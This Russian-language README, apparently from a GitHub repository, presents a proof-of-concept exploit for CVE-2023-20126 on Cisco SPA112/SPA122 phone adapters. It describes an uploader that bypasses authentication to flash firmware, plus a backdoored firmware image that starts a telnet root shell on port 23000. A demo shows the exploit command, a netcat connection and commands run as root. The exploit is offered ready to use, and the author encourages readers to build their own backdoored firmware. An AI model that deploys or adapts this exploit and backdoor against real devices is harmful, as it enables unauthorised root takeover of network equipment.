RancidCrisco

Минимально жизнеспособный PoC для CVE-2023-20126

Это начальная версия. Работает, но это эксплойт для «простейшего случая».

Протестировано и работает на SPA112/SPA122 – SPA232D требует другой образ прошивки.

Даёт root-шелл на порту 23000/tcp.

Я ещё должен привести в порядок тулчейн, используемый для редактирования прошивки, и, вероятно, выложу его в отдельный репозиторий. Он в основном основан на работе @BigNerd95, но с небольшими изменениями для работы с файлами прошивки SPA112/122.

Демо.

$ python3 CVE-2023-20126.py http://192.168.0.152 CFW.bin 
Base URL: http://192.168.0.152
Firmware File: CFW.bin
Sending firmware update...
Firmware upgrade successful. Device will reboot eventually and be running the new FW.

< wait a few mins, nervously > 

$ nc -v 192.168.0.152 23000
Connection to 192.168.0.152 port 23000 [tcp/inovaport1] succeeded!
????????


BusyBox v1.10.2 (2019-10-14 12:41:41 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id;uname -a;pwd
id;uname -a;pwd
uid=0(admin) gid=0(admin)
Linux SPA112 2.6.26.5 #1 PREEMPT Sun Sep 6 10:54:57 CST 2015 armv5tejl unknown
/
# cat /etc/version
cat /etc/version
router_major_version:1.4.1
router_minor_version:SR5
build_date:Mon Oct 14 12:48:12 CST 2015
build_version:6735
hardware_version:1.1.0

Файлы

• fwupload.py – загрузчик образа прошивки, который обходит аутентификацию, просто не отправляя её, эксплуатируя CVE-2023-20126. Принимает два аргумента: URL веб-интерфейса устройства и файл прошивки для загрузки.
• telnet-23000.bin – подтверждающий концепцию вредоносный образ прошивки, который запускает telnetd -l /bin/sh -p 23000, предоставляя root-шелл на порту 23000/tcp. Основан на работе bignerd95.

Лицензия

WTFPL.

Баги

используйте Issues на GitHub.

Отказ от ответственности

Если это превратит ваше устройство в кирпич, я не несу никакой ответственности.
Это ВАША проблема.
Я собрал эту бэкдорную прошивку за вечер.
И кстати, почему вы не следуете статье и не собираете свою собственную бэкдорную прошивку?